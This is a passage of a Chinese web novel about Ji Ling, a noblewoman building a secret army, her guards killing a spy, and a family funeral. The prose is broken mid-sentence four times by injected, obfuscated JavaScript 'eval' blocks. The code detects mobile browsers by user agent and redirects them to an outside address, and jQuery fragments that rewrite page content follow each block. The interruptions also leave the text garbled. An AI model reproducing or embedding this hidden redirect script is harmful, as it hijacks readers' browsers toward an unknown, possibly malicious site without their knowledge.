;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326122|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
庐江陶家嫡系四娘子,因……阿耶受一年前宫中‘惠妃巫蛊案’牵连——属下阿耶是惠妃的伯父,陛下因此下旨诛陶家九族,恰巧属下远在外祖家,本也该死的,外祖父和外祖母却将属下送走了,属下一路逃亡而他们却……因属下而死。恰逢大人搭救属下这才活了下来,多谢大人,无以为报,只得将命全部交到大人手里。”
姬昤了然地点了点头,怪不得这陶婉瞧着跟其他娘子有些不一样,像其他人大多都是无家可归亦或者活不下去的难民、乞儿,可这陶婉不论是举止还是气质方面都不一样,原来她没猜错。不过这‘惠妃巫蛊案’一事,唉,也是可怜,后虽查清惠妃冤枉,始作俑者另有他人,可人已死再无他法,更何况陛下金口玉言,又不能说他错了,陛下最终也只是停止了对陶婉的追杀随她去了。
姬昤接着看向妇好和秦良玉二人,问道:“他们几个就是最出色的?训练得如何了?嗯……与你们相比如何?差多少?”
妇好回答:“这五位以何小花为首资质最好,她年纪也是最小的,才十岁。平日里最刻苦的是陶婉,旁人训练她训练,旁人休息她还训练,天资虽不够,但好在勤能补拙。与我们相比……何小花已与属下十岁时相差不多了,其他人还差一半。”
秦良玉接着回答:“何小花比属下十岁时略强,陶婉差属下三成,其余人等相差一半。”
姬昤满意地点了点头,不错,尤其是何小花和陶婉。
“剩下的四百九十五人呢?如何?”姬昤又问。
妇好:“尚可。”
姬昤了然。
她也不奢求所有人都很厉害,能得到妇好“尚可”的答案已经算不错了,更何况不是还出了五个好苗子吗?大家从未习武过,也是到了这约摸一年前才陆陆续续开始训练,能达到如今的结果她很满意。
“如果上战场,你们觉得他们有多少胜算?”姬昤又问,并不避讳死士们,死士们也不惊讶,毕竟他们都知道姬昤养他们是为了什么,虽然一开始觉得姬昤想法大逆不道,但时间一长就习惯了,反正对他们而言安朝不是什么好朝,当今陛下也不是什么好皇帝,他们很乐意跟着姬昤一起造反,败了就一条命,反正没有姬昤他们早死了,赢了那就是从龙之军。
其中无人在意姬昤是想以女子之身造反称帝,因为在意的早就死了。
妇好思考了一瞬,回答:“若是对上前朝繁盛时期之军,胜算有三成;若是对上前朝甩落时期之军,胜算能达六成;若是对上当今安朝之军,胜算最高能达六成。不过属下说的情况还算理想,毕竟他们只练了一年,再给属下两年,属下能让胜算达到九成。”
姬昤惊讶:“能有这么高吗?”
秦良玉笑了笑,补充道:“这也多亏了当今陛下重文轻武,导致无人从军,如今的兵也一个比一个弱,这也给了我们机会。”
姬昤也笑了:“那就好,安朝越弱,我们的机会就越大。”
“那属下提前恭贺……‘圣上’了。”卫子夫笑容温柔,说到“圣上”时特意放低了音量。
姬昤连忙走了过去捂住了卫子夫的嘴巴,一边说“使不得使不得”一边又压制不住嘴角的笑。
其他人都没忍住笑了。
姬昤松开卫子夫的嘴,接着假咳了几声,说道:“卫青,从今日起你就留在这帮我训男兵,我带她们几个就回去了。”
“喏,属下遵命。”卫青。
“恭送主公。”妇好、秦良玉。
7. 警告
姬昤带着冼英、杨妙真和卫子夫回到了姬府,此时已是下午。
几人刚走进英兰苑就见月栀神色认真地迎了上来,快速行了个礼便说道:“娘子,在你们离去之后奴婢发现有一人一直跟着你们,便叫人把人抓了回来,现下关在了奴婢的屋子里。”
月栀作为姬昤从小一起长大的贴身婢女自然也是有自己单独的屋子的,不像其他下人是几人一起住一间屋子。
姬昤轻笑了声:“问出是谁派的了吗?”
月栀有些苦恼:“他不肯说!只说自己跟的不是娘子,都是误会。奴婢才不信呢!”
“没事,你守着英兰苑,接下来的事交给我吧。”姬昤摸了摸月栀的脸,说道。
“喏。”月栀应声,小跑到英兰苑门口站着,警惕的眼神扫过每一个路过的人。
姬昤四人走进月栀的屋子,就见里面一个被五花大绑的男人在地上蛄蛹着,看情况是想到门边来。
姬昤走到男人面前,俯视着男人。
男人缓缓抬起头看向姬昤,眼里闪过一丝慌乱,不过瞬间又开始“呜呜呜”起来,好像在说“他没有”。
姬昤可不信。
杨妙真上前抓住男人的后脖领把人拎了起来靠在墙边坐着,姬昤走了过去,蹲下,直视着男人的双眼。
“姬家谁派你跟我的?”姬昤语气平静。
男人慌乱了一瞬然后立刻摇头,一边“呜呜呜”。
姬昤了然。
她就知道是姬家的人干的,旁系的那几位叔伯都不是省油的灯,更别说他们还有一群也不是省油的儿女,就像早上出门时那姬莲,她五叔的女儿,与她同岁,小时候便喜欢和她抢东西,也不知是不是受了父母亦或者他人的挑拨,从小就和她不对付。
她一眼就认出来姬莲了,早上就是故意的。
“大房?”姬昤问,见男人神色不变。
“四房?”姬昤又问,男人的神情还是没什么变化,只是一味地摇头否认。
“五房。”姬昤说道,看着男人卡壳的一瞬就明白了。
“姬莲?”姬昤又问。
男人只是一个自以为没发生的停顿就告诉了姬昤答案。
“主公,这人交给我和冼英吧。”杨妙真提议。
“嗯。”姬昤应了声,“子夫,你和我出去吧。对了,你俩换个屋子动手,这是月栀的屋子,别弄脏了。”
“喏。”冼英和杨妙真二人应道。
姬昤带着卫子夫走出了房间。
卫子夫跟在姬昤身侧后,询问道:“主公有何打算?”
“先不急,我派人去打听她和陈郡谢氏的婚事了,我总觉得这里面有什么事,更何况谢渊还在府上,人还是我请来的。”姬昤缓缓道。
谢渊和谢家的关系早就跌至冰点,而谢家也早也没落,五房野心也不小,姬莲是五房嫡出的女儿,再怎么也不会和没落世家定亲,其中定有古怪。
卫子夫思考了一瞬,说道:“莫不是站队了哪个皇子?”
姬昤瞥了眼卫子夫,是啊,站队,否则以现在陈郡谢氏的地位,五房怎么会看得上?还舍得嫁他们的嫡女?
姬莲一手撑着脑袋望着窗外的桃花一边内心焦灼地等待着。
怎的派去的人还未回来?难不成被发现了?
这时,婢女快步走进屋内,在姬莲耳边说了什么,接着从袖中拿出一小块布,打开之后露出了里面血淋淋的眼珠子。
“啊!!!!”姬莲吓了一大跳,手一挥打飞了眼珠子,自己没稳住身体往后倒在了地上,连带着也推倒了婢女。
外面的仆从听见尖叫声和动静立刻跑了进来,瞧见地上滚落的眼珠子后响起了此起彼伏的尖叫声。
姬莲被婢女扶了起来,她壮着胆子走近了那颗眼珠子,越看越觉得害怕。
“谁送来的看见了吗?”姬莲颤着声音问着刚才的婢女。
婢女摇头,脸上还带着害怕:“不知道,方才一出院子就瞧见这布包着眼珠子放在地上,奴婢也不知道是什么,就想着先拿来给娘子瞧,谁曾想竟是……竟是眼珠子。”
“去问!是谁放在我院子的!”姬莲喝道。
布包裹着眼珠子放在桌上,姬莲和眼珠子对视着,越看越心慌。
过去了约摸一刻钟,去问的婢女回来了,只见她面色难看地摇了摇头。
姬莲脸色一变:“什么意思?偌大的姬府竟找不出一个看见是谁放的?!”
这时,一支箭“咻”地射了进来没入窗户,屋内的所有人都吓了一跳。
姬莲捂住心口定睛一看,上面还有纸。
婢女上前取下箭矢拿下纸,递给姬莲。
姬莲看完之后把纸狠狠揉成了一团砸了出去,只因上面写着——
再有下次,挖的就是你的眼睛。
“好你个姬昤,竟然威胁我?!”姬莲咬牙切齿地说道。
一些婢女听着姬莲的话不明所以,不知此事跟三娘子有何关系,但主子发怒,她们一声都不敢吭,全都战战兢兢地跪在地上。
姬莲刚起身想去找族中的长辈们做主,可一想到是自己先派人跟踪姬昤的,届时问起她也不好解释。
姬莲生着闷气又坐下了,越看那眼珠子越气,手一挥又给挥地上去了。
这眼珠子原是找的跟踪的那人的,还什么下次就挖她的眼睛?她姬莲好歹是姬家五房的嫡女,未来是要嫁到陈郡谢家做主母的!她姬昤岂敢!
一旁侯着的婢女见状安抚道:“娘子,再过一月您就要出嫁了,还是安心等着做主母吧,莫想些旁的不悦的事了。”
姬莲又想起姬昤及笄礼上说的话——“绥英?笼络天下英雄?”——真是好大的口气!这样的娘子哪家郎君敢娶?等日后她做了谢家主母,再生下长子,再加上谢家背后的人……可不见得她比姬昤这个姬家嫡出娘子低到哪里去了!
想到这儿,姬莲的嘴角忍不住流露出笑意。
英兰苑。
姬昤看着眼前已经死了的男人,她抬头又看向冼英和杨妙真。
“你们干的?”她问。
她的意思本是让两人好好招呼这男人让他亲口承认,怎么把人给弄死了?
冼英和杨妙真两人对视一眼,点头。
姬昤无奈扶额,移开了眼神:“埋了吧。”
“喏。”两人应声。
“那啥,”姬昤抓了抓额头,“他眼睛怎么还少一只?”
“英姐送给姬莲了,警告她。”杨妙真一脸认真地解释道。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326123|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姬昤:“……行吧。”
“可有让人瞧见是你送过去的?这姬府人来人往,不能让人抓着把柄了,对主公不利。”卫子夫说道。
“主公放心,无人瞧见。”冼英多瞥了眼卫子夫,然后说道。
这新来的娘子心思倒是缜密,不错,主公心大,需要这样的人在身边时刻注意着。
“行,你们办事我放心,就是下次还有这样的事先问问我,别动不动就挖眼珠子,多暴力血腥啊?咱也不是那心狠手辣的人。”姬昤摸了摸鼻子。
“喏。”冼英、杨妙真二人应声。
“你们把尸体处理掉,我去瞧瞧霍光。”姬昤说着转身离去,带着卫子夫一起。
姬家有族学,霍光却不在里面,姬昤安排谢渊和霍光单独出来,并不和姬家其他人一起,他们都住在一个院子内。
姬昤和卫子夫踏入院内就听到霍光的朗朗读书声,虽然目前只有他一人上课,声音却不小。
姬昤很满意,他能认真学再好不过了,目前她身边全是武将,只有霍光一人是纯正的“文臣”,可得好好培养一番。
窗户半开,姬昤和卫子夫可以看见里面认真听讲的霍光脑袋时不时点点赞同谢渊的话,时而露出疑惑的神色,时而恍然大悟。谢渊坐在上方,手中只端着一盘糕点吃着,一边给霍光上课,没瞧见书,因为知识全在他的脑海中。
谢渊瞧见了二人,却只是瞥了眼,便再不理会,等吃完糕点,他放下盘子走到霍光身边,手背在身后,其中还拿着一根竹鞭。
霍光有些紧张。
“先生,我写完了。”霍光放下笔,抬头看向身边的谢渊。
“中规中矩,无甚过错。”谢渊语气平淡,又瞥了眼窗外的姬昤,那眼神仿佛在说——“这就是你说的天纵奇才?”
姬昤心虚地转过脑袋去。
她可什么都没说,只要不是亲耳听到,那就是她没说。
霍光有些失落,却暗自下定决心一定要让先生对他刮目相看。
中规中矩无甚过错那就是不好,他得更好才行,否则愧对主公信任。
“先生,我重写。”霍光说罢自顾自开始写起来,谢渊也没阻止,有上进的心自是好事。
霍光一门心思都在学习上,也没注意到姬昤和卫子夫站在窗外看了有好一会儿了。倒是谢渊,走了出来。
姬昤和卫子夫迎上前,卫子夫向谢渊点了下头,谢渊也回了同样的动作。
“三娘子这是不放心老夫了?”谢渊毫不客气地说道。
“先生多虑了,我就是来瞧瞧他学得怎么样。”姬昤笑了笑。
“某还有一事需劳烦三娘子。”谢渊又道。
“先生尽管说便是。”姬昤。
“一直伺候某的小厮如今还在那院子里住着,这姬府的仆从某不习惯,不如三娘子派人把人带来?”谢渊。
“自然。”姬昤一口答应。
“劳烦三娘子了。”谢渊说罢,又道,“有老夫在,这小子三娘子就不必担心了,日后少来这里,有什么事某会让小厮去找你。”说罢谢渊一甩袖回到了屋子内。
姬昤眨了眨眼,转身带着卫子夫就走。
行,大儒么,有点脾气很正常,她忍。
8. 四房出事
某日清晨,姬府内人来人往,大家神色匆匆,瞧着都有些紧张。
姬昤还未出院子就觉得不对劲,于是低声对身边的月栀说道:“去问问发生什么了。”
“喏。”月栀应声。
不一会儿,月栀回来了,在姬昤耳边低声道:“四房的八郎君要不行了,今早陛下又发怒惩治了四房的二郎君,说他私收贿赂,降了二郎君的职,四房现在闹开锅了。”
姬昤微微挑眉,那个吸食五石散的老八要死了?老二又被降了职。这四房还真是祸不单行。
“去瞧瞧。”姬昤微微一笑。
反正那俩都不是什么好东西,她去凑凑热闹。
还未进四房的院落姬昤就听到了一片低沉的哭声中掺着两道女人的声音。
“我的儿啊,你才弱冠,怎的就弃阿母而去了?你不要阿耶阿母了吗?还有阿若,她才两岁,你怎么舍得让静儿一人照顾她啊?”
“郎君,你怎的抛下我和女儿就去了啊?你让我们娘俩儿该如何是好啊?”
“哭哭哭,就知道哭!你若是管好他了他至于会跟老大家的三郎学吸那五石散吗?嗯?!”
“哪里是我的过错?你惯会怪我,从来瞧不见自己的过错,你怎的不知反省自己?”
“你!哼,不可理喻!”
……
姬昤和月栀对视了眼,月栀低声问道:“娘子,还要去吗?”
现下人家吵得厉害,娘子去了恐怕要卷进去,不得安宁。
姬昤思索了一番:“罢了,在这听听也差不多了,就不进去了吧。”
姬昤和月栀刚转身就瞧见姬父姬母来了,两人还有些惊讶。
“昤昤你怎么在这里?”姬父问。
姬昤脑筋一转,顿时面露哀色:“听闻八堂兄病逝,二堂兄又遭贬谪,我想四叔四叔母定伤心不已,便想着来看看,刚到门边就听他们哭着,想想罢了,还是不去了,徒增他们的伤心罢了。”
姬昤一顿巧言完美掩盖了自己想凑热闹的心,她自己都要信了。
姬父叹了口气,唉,四弟就这么两个儿子,一个死了,一个又遭了陛下的打压,此时定伤心不已。四弟这一脉也不知怎么回事,儿女众多共有六人,如今却已经死了三人,真是世事难料。
“昤昤,去看看吧,你于你四叔四叔母是晚辈,和你八堂兄亦是同辈,理应去看看。”姬父说着向姬昤招了招手,示意她跟在他们身后。
姬母也拉过姬昤的胳膊,把人带在了身后。
三人和仆从三人一起进了四房的院里。
“家主,主母,三娘子。”来往仆从皆如此喊道。
姬父摆摆手,示意他们不必伺候,却多看了两眼湿漉漉的地面,他们似乎闻到了腥气。
一行人走至八郎君的房外,房门敞开着。
“四弟,四弟妹。”姬父出声。
姬四爷闻言敛了怒色,恢复了平静,看向三哥:“兄嫂怎的也来了?姬家事务繁忙,派人来递口信就是了,不必亲自前来。”
“阿兄阿嫂,郎君说的是,你们素来忙碌,不必亲自来的。”姬四夫人红肿着眼眶,嗓音沙哑。
已逝的八郎君安静地躺在床上,他的夫人向家主主母二人见了礼,便又轻声抽泣起来。
年纪轻轻守了寡,自是伤心欲绝。
姬昤在场作为晚辈也给姬四爷和四叔母行了礼,和八堂嫂互相点了下头,接着便安静站在阿耶阿母身后。
“四弟,四弟妹,你们这是说的什么话?阿湛突然病逝,我们做伯父伯母的怎能不来?姬家事务再繁忙我们又怎会连这点时间都挤不出来?”姬父有些生气地说道。
“大夫不是说阿湛的身体只要好好调养,这辈子不说再康健,活着不是问题吗?怎的突然就……”姬母神色不解。
提到这个,姬四夫人嚎啕大哭起来,瘫软地趴在床边上握着已逝八郎的手:“我的儿,我的儿啊!”其余什么话再说不出了。
姬四爷倒有些愤怒:“都是那该死的婢子,竟拿了五石散给阿湛,阿湛这才……这才……唉!”重重一声叹气,伴随着哭声愈发沉重。
姬昤心想,怪不得刚才在外面闻到了血腥味儿,没有下雨却有一大片湿漉漉的,估摸是打死了那婢子,又差人清洗了地面。
“这……唉……四弟,四弟妹,节哀,逝者已逝,莫伤了自己的身啊,也去看看二郎吧。”姬父也有些无奈。
这害人的五石散他再三明令禁止不许吸食,可总有那么几个不听劝的,大房的三郎就是那个带头的,四房的八郎也被带着一起吸食了这腌臜玩意儿,如今也去了,这还只是明面上的,私底下还不知道有多少人吸了这个,唉。
至于二郎,私收贿赂不知真假,但陛下的降罪可知真意。
陛下要动姬家了。
“二郎?哼!”姬四爷冷哼一声,“那个逆子连小心谨慎都做不到,让陛下抓住了把柄,近来陛下对姬家又是多有防备,还看他作甚?就该好好自省!”
姬父想了想还是没开口,最终只是说:“若有何事尽管找我,我们便先走了。”
姬四爷点了点头,姬昤也点了下头,意思是她也走了。
待几人离开,姬四爷又瞥了眼他们离开的方向,面色不善。
“我这好阿兄倒是生了两个省心的好儿子,怎的我儿没一个省心的?!”说罢,姬四爷不禁又瞪了眼自己夫人,就连床上已逝的老八他也不想再多瞧一眼,只觉得晦气。
姬四夫人不敢多言,只是拉着儿子的手哭得更大声了。
姬四爷听着这哭声愈发不耐:“哭哭哭,就知道哭!过两天我抬个婢子,我知会你一声,省的届时你说不认识。”
姬四夫人哭声戛然而止,她不可思议地看向夫君,眼里带着错愕:“阿湛刚死,你就要抬婢子?你还有没有心?!”
八郎夫人也是不可置信,她怎的也没料想到夫君刚死丈人就要抬婢子起来,丈人莫不是疯了?!
只听姬四爷哼了几声:“她已有身孕,大夫说了是男胎,眼下我就两
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326124|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个儿子,一个比一个没用,你既生不出来,那就让旁人来生!”
姬四夫人如被雷劈了一般,刚止住的眼泪瞬间哗啦啦地流了出来,一把松开了儿子的手,起身抓住夫君的胳膊使劲晃着,像是疯了一般。
“我替你生了两儿一女,如今除了二郎全死了,那些个庶孽我也不曾苛待过,她们给你生了孩子便生了,可你现在说什么?阿湛刚死!哪有你这般做阿耶的?!”
姬四爷满脸不耐,一把推开了夫人,八郎夫人赶紧扶住了差点儿摔倒的丈母——亦是她的姑母。
“两儿一女又如何?两个儿子哪个有用?一个唯唯诺诺木讷不堪,连受贿都能让陛下抓住把柄!一个还吸五石散死了!大夫早几年便说你没法儿生了,怎的,你个毒妇是想让我断子绝孙吗?!”姬四爷怒目圆睁,仿佛要吃了自己夫人似的。
“你!你!”姬四夫人两眼一翻直愣愣地倒了下去,还是儿媳跪坐在地上抱住了她。
“丈人,您别说了,丈母这么多年也是辛苦,就算无功那也绝对无过,您何必咄咄逼人呢?”八郎夫人哽咽道。
“这哪有你说话的份?!”姬四爷恶狠狠地瞪了眼儿媳,接着甩袖离去,连带着弄倒了椅子发出叮铃哐啷的响声。
徒留屋内的儿媳抱着丈母哭得不行,一众婢子们更是不敢多言。
屋外的角落里,一个男子半掩着身子,看着姬四爷离去的背影,他抓着柱子的手暴起青筋,片刻又松开了,他满脸落寞,双眼湿润,泪水在眼珠里打转。
此人正是大家口中的二郎。
方才里面的一切他都听到了,原来阿耶一直这么想他,觉得他无用……
大房。
一妇人抱着一孩子坐在池子边数着里面游动的鱼儿,孩子脆生生的笑声充满了欢乐。
一婢子神色严肃走上前,在妇人耳边说了什么。
妇人脸色微变,放下了怀中的孩子:“去找你长嫂玩吧,阿母有些事。”
孩子乖乖地应了声跑开了。
等孩子离开,妇人这才说道:“方才没的?”
婢子点头应“是”。
妇人皱眉,不悦道:“老三那个不争气的,自己因五石散死了,现在连带着四房的老八也没了,果然是庶孽,上不得台面。四弟妹怎么说?不会还要来我们大房找麻烦吧?”
“听闻四爷发了好大的火,四夫人直接晕了过去,具体都说了什么奴婢也打听不出来了。”婢子回答。
“发火?他怎的还发火?两儿子一个被贬一个没了,他不应该伤心吗?这个四弟,几十年了还是这个样子,自我嫁进姬家就没变过。”妇人也就是大房的姬大爷的夫人,嗤笑了声,将手中剩下的鱼食全都撒进了池子里,看着那些鱼儿争先恐后地抢夺着食物。
“夫人,家主和主母带着三娘子去看望过了,我们可要去瞧瞧?”婢子问。
姬大夫人搓了搓手上的鱼食残渣,起身拍了拍手:“走吧,四弟妹此时定伤心不已,我作为长嫂,可得好好安抚一下。”
9. 姬家大爷
天本就寒冷,这下又落了雨,更是冷得刺骨。
姬家八郎死于五石散不是什么光彩的事,亦没有大办,一切从简,外人也只是瞧见姬府门口多了两抹白色,大门又紧闭,大家也不知道是谁没了,愣是一点儿打听不出来。
姬府内。
四房布满了白色绸缎,纸钱烧出的灰色粉末也随风飞舞,落在了前来的姬昤鼻尖上,她身后跟着月栀和卫子夫,皆着素色衣衫。
姬瑾和姬瑜在外任职,一时间无法赶回来,便差人送了东西回来。
姬父姬母作为家主主母更是早就到场。
姬四夫人和儿媳两人带着才两岁的女儿在棺材边放声大哭。
孩子不知道发生了什么,只知道大家都在哭,而阿耶却怎么也叫不醒,于是她也哭。
姬四爷拉着个脸站在一旁,冷眼看着哭泣的夫人、儿媳和孙女,他又移开眼神看向棺材中的儿子,虽气恼,可到底是亲儿,还是有些难过。
“四叔,四叔母,节哀。”姬昤作为晚辈,走上前向二人低了下头,接着接过旁人递来的点燃的香,她对着八郎的棺材拜了三拜,然后把香插好,最后跪下磕了三个头,起身又是三拜,身后月栀和卫子夫二人亦是同样的动作,只是没有烧香。三人拜完后这才退至一边,到了姬父姬母身边待着。
姬四爷多瞥了两眼姬昤身后的卫子夫,月栀他知道,从小一起长大的婢子,这人又是谁?怎的从未见过?长得倒是不错。
不过尚在儿子灵堂,姬四爷并没有看太久,只是片刻就收回了目光。
陆陆续续来了人跪拜八郎,逝者已逝,他就是再不好、这丧仪再简单,这跪拜还是不能省了,毕竟死者为大。
几房的人几乎都来了,前几日收到血淋淋眼珠子的姬莲也来了。
姬莲跪拜完后就到了另一边自己阿母身边,她止不住多看了两眼姬昤,瞧着她一脸人畜无害的模样只觉得可怕。
她们二人同岁,可姬昤却能脸不红心不跳地做出挖人眼睛的事情,换做她是万万做不出来的。
姬昤发觉有人一直盯着自己看,寻找了一下才知是姬莲,她对着姬莲笑了笑,却见姬莲没好气地撇过头去不看她,瞧着似乎还打了个哆嗦。
灵堂中最后只剩下姬四夫人和八郎夫人,其余人都到了外面去,三三两两的汇做一团。
“昤昤啊,听闻你把谢渊请到了府上?你这是要做什么啊?”一身形修长、面容白净的男人走到姬昤身边,一副长辈姿态。
此人正是姬家五爷,姬莲的阿耶,姬昤的五叔。
“这就不劳五叔挂心了,我自有我的用处。”姬昤微笑回答。
姬五爷面色不变,只是一味地说着谢渊的不好:“这谢渊可是谢家的罪人,昤昤你可知晓?对了,那时你还小,自是不知。这谢渊当年杀了自家至亲十七人,为世人所不齿,如今你又把人请到了姬家,岂不是告诉世人姬家要与这不忠不孝不义的人为伍?五叔也只是为了我们姬家好,为了昤昤你好呀。”
更何况他女儿还和谢家定了亲,这要不了多久就要嫁过去了,这要是让谢家知道谢渊在他们姬家,还是主动请来的,岂不是闹得他女儿女婿离心?更严重些,如果影响了那位……这可不行。
“五叔,您的一番好意昤昤清楚,只是谢渊此人虽颇多争议,可他学识渊博、见多识广,这点毋庸置疑。况且那件事过去多年,其中到底因为何我等外人终究是无法知晓,五叔就不必忧虑过多了,昤昤自是不会做出伤害姬家的事来,五叔放心。”姬昤笑容不变,语气更是平静。
关于谢渊当年为何杀尽至亲十七人她也旁敲侧击地询问过了,结果就是什么也问不出来,不过她仔细观察过谢渊的神色了,每每提及此事他的眼里就会流露出一股……厌恶?她不确定自己看清楚了没,但也越发加深她的怀疑,当年之事肯定有隐情,而谢渊也不像世人所说那样——不忠不义不孝。
姬五爷笑了几声,眼珠流转之间看向姬昤身后的卫子夫,询问道:“这是……新来的婢子?”
“五叔说笑了,这是昤昤的朋友,来府上做客的,不曾想碰到八兄去世,就一起来了。”姬昤解释道。
“奥,原是如此,我料想姬府也没有如此貌美的婢子,否则四兄早该纳入房中了。”姬五爷调笑道,瞥了眼刚好走来的姬四爷。
姬四爷脸色一变,没好气地说道:“五弟慎言!”说罢却瞥了眼卫子夫。
确实貌美,此言不假,他也确实动了点心思,可心思被人戳破就没意思了。
姬五爷笑了笑就走开了。
“四叔节哀。”姬昤又面向姬四爷说了句。
姬四爷昂了下头,然后说道:“你五叔他向来口无遮拦,你莫听他的。”说罢又不受控制地瞥了眼卫子夫。
嗯,确实貌美,虽不拔尖,却是温和柔美,不禁让人想多看两眼。
姬昤上前一步挡住了卫子夫,她伸出手抓住了姬四爷的手腕,认真道:“四叔放心,四叔岂是那种浪荡好色之徒?旁人不知晓,我这个亲侄女还不知晓吗?我定不会听五叔的玩笑之言的。”
姬四爷不知怎的,听着这话反倒高兴不起来,一把把手缩了回来,嘴里说着“我去那边瞧瞧”就走开了。
走到一旁的姬五爷可一直关注着这边,闻言差点笑出声。
好侄女,真会说话。
姬昤又小心地张望了一番,四叔五叔她都见到了也聊了,怎的大伯还未出现?
在她的记忆中,大伯是一个不苟言笑的人,又沉默寡言,孩子见了他都怕。小时候,她记得那年她好像才四岁,亦或者五岁,她记不清了,那一次她不小心跑到了大房的院子里,是因为风筝掉了进去,接着她抬头就看见一个男人冷着脸俯视着她,也不说话,盯着她看了好一会儿才离开,后来她才知道那是她大伯,常年在外打仗,甚少回家,那一次是回来是因为他长子成婚。
姬家五子,老大从军,老二已死,老三是家主,老四从政,老五从商,也算是在各个领域开花了。
说曹操曹操就到,姬家大爷来了,一身戎装风尘仆仆,还是那张不苟言笑的脸。
“大伯。”在姬大爷路过姬昤时她喊了声,姬大爷应了声就走开了,带着一阵风,只是多瞥
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326125|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了眼卫子夫。
生人,他在姬府从未见过此人。
而卫子夫一路上接收了许许多多的目光,有探究,有疑惑,有好奇……
她没有理会,只是默默记下大家的反应,待在主公身边观察着这些人。
姬大爷径直走到姬四爷身边,冷声问道:“一回到建康府中就有人来报老八死了,怎么回事?”
姬四爷冷哼一声,不耐道:“也不知道是谁儿子带的吸食五石散,这下好了,自己儿子死了,连带着我儿子也死了。”
姬大爷听明白了,五石散,又是五石散!
姬大爷走进灵堂至棺材边看着里面的八郎——
近八尺的男儿清瘦十分,脸蛋更是白得吓人。
“阿湛,阿湛,我的儿啊……”姬四夫人瘫坐在地上,靠在棺材边上哭着念叨着。
“夫君……夫君……”八郎夫人也哭着喊着。
姬大爷烧了三根香插进炉子中,接着走到家主身边,低声道:“建康的乞儿似乎又多了些,还来了些流民。”
姬父也低声道:“近来陛下对姬家多有忌惮,二郎也被贬职,怕是要变天了。”
“北边的匈奴和鲜卑也不老实,西南部的吐谷浑也常常骚扰边关百姓,怕是又要打仗了。”姬大爷说道。
“才安稳多久?又要乱了。唉……”姬父叹气。
“前些日子陛下派了两个小将到我营中,怕是要架空我的权力,阿瑾和阿瑜你平日也多注意些,让他们小心行事,莫被陛下抓了把柄。”姬大爷又道。
“他们都在江州庐陵郡做县令,按陛下的意思,恐怕不久就要把他们调任西北了。”姬父也很惆怅。
“昤昤身边的那人是谁?月栀我记得,可那人我从未见过。”姬大爷问。
“奥,她啊,是昤昤的朋友,在府中借住一段时日。”姬父解释道。
“朋友?哪家的?可都调查清楚来路了?”姬大爷又问。
“这……”姬父突然卡壳,这要让他说个清楚他还真说不明白。
他其实也一直有疑问,昤昤都是在哪儿认识的这些朋友,男男女女还都不是等闲之辈,瞧着似乎还不像是朋友,一个个对昤昤都颇为尊重。
“不清楚?”姬大爷反问,“那怎能住在府上?三弟,你这家主怎的越做越回去了?什么不清不楚的人都能留在姬府了?”
姬父被大哥的一番话说得一愣一愣的,好在这么多年家主不是白当的,只是一瞬又恢复了平日的沉稳,他道:“昤昤自小乖巧,从不与那些不三不四的人交往,而这些所谓的朋友我也聊过,虽不至于看清本性如何,也能聊出一二他们的性子,都不是坏的。更何况,偌大的姬府也不会容不下这一二人,我都派人看着呢,大哥放心。”
“你心里有数就好,我常年不在府中,很多事管不到。尤其是近两年,陛下对姬家的态度很模糊,尽量保全姬家吧。”姬大爷。
“大哥说的是。”姬父应和。
这时,一个小厮急匆匆地跑进了院子,一番寻找之后盯住了姬父,直奔他而去。
“家主不好了!”
10. 雍州就不错
小厮急匆匆地进来告诉了大家又一个不好的消息——
姬瑾和姬瑜被调任西北部雍州和凉州去做县令了,一个在冯翊郡粟邑县,一个在安定郡泾川县,都是最靠近匈奴的地方。陛下的意思是,觉得二人治下有方,特派到两地去“磨炼磨炼”,其实跟流放也没什么区别了。若换作从前,那两地战略意义十分重要,可是现在不一样,景朝、安朝接连两朝都不中用,当权者目光短浅不重视边境地带,以至于那边匈奴肆掠,根本没人愿意去,人人都以为去了等于送死。
其实也不止雍州和凉州,如今安朝处处都不安全,也就建康附近的几个州还算安稳。
